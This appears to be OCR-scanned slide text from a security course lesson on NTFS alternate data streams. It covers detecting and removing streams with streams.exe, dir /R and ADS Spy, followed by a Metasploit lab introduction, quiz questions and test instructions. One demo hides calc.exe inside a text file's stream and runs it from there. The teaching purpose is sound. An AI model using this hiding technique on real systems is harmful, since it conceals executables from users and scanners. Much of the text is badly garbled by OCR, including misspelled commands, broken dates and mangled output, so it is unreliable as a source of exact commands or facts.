lﬂ:\Ducuments and Settingsscis?6 studentistreams.exe —s cis

B:=treams vl.6B — Reveal NTFS alternate streams.
Copyright (C> 2AA5-2816 Mark Bussinovich
Syzinternals — www.zysinternals.com

Error opening c:ispagefile.sys:
The process cannot access the file hecause it is bheing used by another process.

c i~ Documentsz and Settings*cis?6 studentstim.txt:
secret—service—name.txt :SDATA 45

C-=DOCUNENLE Al SELL NS ~C1lsrD SLUUENL ~PESRKLOp~AaUs Spy-~ADSSpy.exe:
:Zone.ldentifier:5DATA 26

c:»Documents and Settingssciz?h student~DesktopsStreamssEula.txt:
:fone.ldentifier:5DATA 26

c:sDocuments and Settingsscis?h studentsDeszsktop“Streams streams.exe:
:fone.ldentifier:5DATA 26

c:sDocuments and Settingssciszs?h studentsDesktopsStreamssstreamsbd.exe:
:Zone.ldentifier:5DATA 26

ciDocumentsz and Settings*cis?6 student My Documents“Firefox Setup 43._.8.1.exe:
:Zone.ldentifier:5DATA 26

c i Documentsz and Settings*cis?e student My Documents“DownloadszsWirezhark-winb4—2

-A.5.exe:
:Zone.Identifier:$DATA 26

fBc -~ RECYCLER~S5—-1-5-21-1246628124-48586347-572454927-1883~Dcl .exe:
:Zone.Identifier:5DATA 26

fic -~Suystem Uolume Informations_prestore{BD?BD?C6-5382-47D1-BEYF-A52FB6C2E3IBBX~RP3~

ABEEAA33 .exe :
:Zone.ldentifier:5DATA 26

c S WINDOWS ~system32~ctreams .exe . exe =
:Zone.ldentifier:5DATA 26

C:sDocuments and Settingsscis?h studentl

Finding all alternate streams from the command line using streams.exe
with the -s recursive option.
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Command Prompt

C:sUsersssimben?6dir ~7
Pispiays o ddast ur riies and subhdirectordies in a directory.

DIR [drive:]lIlpathllfilenamel [A/ALL:lattributes1] [/B]1 [~ C1 [-D]1 [/L]1 [/H]
[+OLL: lsortorderl] [AP1 [-Q1 [ R]1 [»85]1 [/TLL:1timefield]l] [ W] [ 81 [~41]

[drive: llpathllfilename ]
Specifies drive, directory,. andsor files to list.

<A Displays files with specified attributes.

attributes I Directories R Read-only files
H Hidden files A Files ready for archiving
% System files I Mot content indexed files
L Reparse Points — Prefix meaning not

B Uses bare format <no heading information or summaryl.

G Display the thousand separator in file sizes. This is the
defaunlt. Use ~—C to disable display of separator.

D Same as wide but files are list szorted hy column.

~L Uses lowercase.

<M Mew long lis=t format where filenames are on the far right.

#0 List by files in sorted order.

sortorder H By name f{alphabeticl % By size {(szmallest firstl

E By extenzion (alphabetic?> D By datestime <oldest firstl
G Group directories first — Prefix to reverse order

P Pauses after each screenful of information.

A TMHewnlag the nunen nfF +the Fala

<R Dizplay alternate data streams of the file.

.r'; ;J-.;:P:.nya. :J-.:.I.T--':- J-.II ;:PELJ-.:J-.EL: ll.TtJ-.rll.—.-ll..-li.-ll.lr:lI tl.lll.-l. 1:111 Sllhdil‘ﬂctﬂl‘iﬂﬂ.

T Controls which time field displayved or used for sorting

timefield C Creation
A Last Access
W Last Weitten

~U Uses wide list format.

AH This displavs the short names generated for non—8dotd file
names. The format is that of AN with the short name inserted
hefore the long name. If no short name iz present,. blanks are
dizplaved in its place.

A4 Displavs four—-digit years

Suwitches may be preset in the DIRCHD environment wariable. Override
Press any key to continue . . .

202
On recent versions of Windows, the dir command has a /R option



CIS 76 - Lesson 10‘5 m r*a

echo "Benji's favorite food is chicken" > beniji.txt
echo "Benji's favorite game is gopher" > benji.txt:game.txt

dir /R

[c+.Command Prompt _ (O]

Microsoft Windows [Uerszion 6.1.76811
Copuright <c? 2009 Microsoft Corporation. All rights reserved.

C:slUsersssimben’/t >
C:slUsersssimben'/6 >
Czsllzeress imhen?6 >
jC:~Uszers~simben?6>echo "Benji's favorite food is chicken' > benji.txt

Cislzersssimben?o>type henji.txt
"Bengji’'s favorite food iz chicken"

IC:“Uszers~szimben?6*echo "Benji's favorite game iz gopher'" » benji.txt:game.txt

C:sUzers~simben?o>more < benji.txt:game.txt
"Benji‘'s favorite game iz gopher'

C:“Usersssimben?b6>dir ~R

Uvoilume 1n

arive L nas no labhel.

Uolume Serial Mumbher is A488-BE12

Directory

LEENT S AL
188792017
18-8%2-2817
18872017
18-8%2-2817
188792017
18-8%2-2817
18892017
18-8%2-2817
18892017
18-8%2-2817

of C:xUsersszimbenyo

Ai:13 PHM <DIR> =
H1 =13 PHM LNTR™
Ai:14 37 benji.txt
36 benji.txt:Igame.txt=5DATA

B ="T0 | =LA NS UL AL L3
A1:43 <DIR> Dezktop
@a1:43 <DIR> Documents
B1:43 +DIR> Downloads
@a1:43 <DIR> Favorites
A1:43 <DIR> Links
BA1:-43 <DIR> Music
B1:43 +DIR> Pictures
Aa1:43 <DIR> Saved Games
B1:43 +DIR> Searches
Al:43 <DIR> Uideos=

1 Fileds> 37 butes

13 Dird<s> 27.615.7Y51.168 hytes free

-
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EY ADS Spy v1.11 - Written by Merijn

Alternate Data Streams [(A05) are pieces of info hidden az metadata on files on WNTFS drives. They are not
wizible in Explorer and the size they take up iz not reported by Windows. Recent browser hijackers started
uzing A0S to hide their files, and wem few anti-malware scanners detect this. Uee A0S Spy to find and remove
theze streams.

Mate: thiz app can alzo digplay legitimate AD5 streamsz. Don't delete streams if you are not completely zure they
are malicious!

{~ Quick scan Mwindows baze folder only)
f* Full scan [all MTFS drives)
" Scan only thiz folder; J J

[ lgnore safe spstem info data streams ['encreptable’, "Summar nformation’, ste)

[ Calculate MD5 checksums of streams' contents

Scan the spztem for altenate data streams | Femove selected streams ﬂ

v - hDocuments and Settingzhois 7B studenthhim.tet - party bt [13 bptes]
v

Scan complete, found 2 alternate data streams [AD5's).

Removing the alternate streams with
ADS Spy
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more < tim.test:secret-serive-name.txt
more < tim.test:party.txt
type tim.txt

C:sJDocuments and Settings~cis?6
The system cannot find the file

C:sJDocuments and Settings~cis?6
The system cannot find the file

C:sJDocuments and Settings~cis?6

student *more € tim.txtizecret—=ervice—name.txt
specified.

student*more < tim.txt:iparty.txt
specified.

student>*type tim.txt

Timothy Michael "Tim'" Kaine ¢horn February 26, 19582 iz an American attorney and

politician serving as the junior United States Senator from Uirginia. A Democra
t,., Kaine was elected to the Senate in 2812 and is the nominee of his party for U
ice President of the United States in the 2816 election.

C-sDocuments and Settingss~ci=z76

student >

The two alternate streams have been deleted but the original

file remains.
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:\>mkdir test

:\>cd test

:\test>notepad mike. txt

:\test>type mike. txt

:\test>type c:\windows\system32\calc.exe > mike.txt:hidden.exe

:\test>start c:\test\mike.txt:hidden.exe

=

C:srmkdir test
|G:\>cd test
|C:\test>nutepad mike.txt

HC:-“test>type mike_txt

fiMHichael Richard ""Mike" Pence <horn June 7, 125?> is an American politician and c

urrent Governor of Indiana. A Republican, Pence was first elected to the United

States House of Hepresentatives in 2888 and is the nominee of his party for Uice
President of the United States in the 2816 election.

E:\test]; Hidi

- stest

C:test liding a program

C:stest>type ciwindowsssystem3d2scalc.exe > mike.txt-hidden_.exe fl/e (Ca/C.eXG) na

C

C

istestrstart cistestsmike.txt:hidden.exe text f//e (m/ketxt)

intestl E Calculator : | and running It
Edit  Wiew Help

| o
|09 O
) DEOEE
o) DO
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See textbook for now ....

(Chapter 8)
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Lt B Kdeak2ng ) Javwae O WhiveeadiliRies

This la® introduces MISA (Microsoft Baseline Secwity Analyrer) amd ises Mefasshoil o hacka
wunerable desktop PO,

Waering el Pavmiisien

Unauthorized hacking can result n
prison terms, lrge fines, wsuits and
being dropped from this coursal

For this lad you hawe auaMorizafon fo haei e VWY in ihe Viad pod assigned (o you.
Pragoavation

8 Gat Me CIS 78 Login Credentiafs docunment.  You will feed usernanies and passwords to
foR int0 Wiad and each of the YMs. This dorisrient. is on Caneas and the inkis in the
IS 76 Weilconmme lefter.

o Petermine which Viad pord number you were assigned. See the linfk on the lef® panet of
e class wabsite.

o If you haven't o
s huctions here:

Pavd |~ Muny MRTA o0 yowr BN %M

configured your pod in the previous labs, then follow ihe

1) Powniond the 32-Bit version of MSA from \\172.30.10.36 \depot and instafl iv
2) | Scan yonr KM-WIEP system usiog e defaul? options.
3] capture a screen shot of Me msults when finished.

Lab 8
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Next Class

Assignment: Check the Calendar Page on the web site to
see what is due next week.

Quiz questions for next class:

 For CVE-2010-0018, was the Access Vector metric rated as "Local",
"Adjacent Network" or "Network"?

« What is the name of the Windows command that can be downloaded
from Microsoft to list and delete alternate data streams?

« Using CVE Details to view the products "Google Chrome", "Microsoft
Edge" and "Apple Safari" which had the most vulnerabilities in 20157
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2 Notes to instructor

[ ] Remove real test password on Canvas
[ ] Publish test

[ ] Add custom accommodations
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Test #2

HONOR CODE:

This test is open book, open notes, and open computer.
HOWEVER, you must work alone. You may not discuss the test
questions or answers with others during the test. You may not
ask or receive assistance from anyone other than the instructor
when doing this test. Likewise you may not give any assistance to
anyone taking the test.

INSTRUCTIONS:

This test must be completed in one sitting. The submittal will be
made automatically when the time is up. If you submit early by
accident you will not be able to re-enter and continue. If that
happens don't panic! Just email the instructor any remaining
answers before the time is up.
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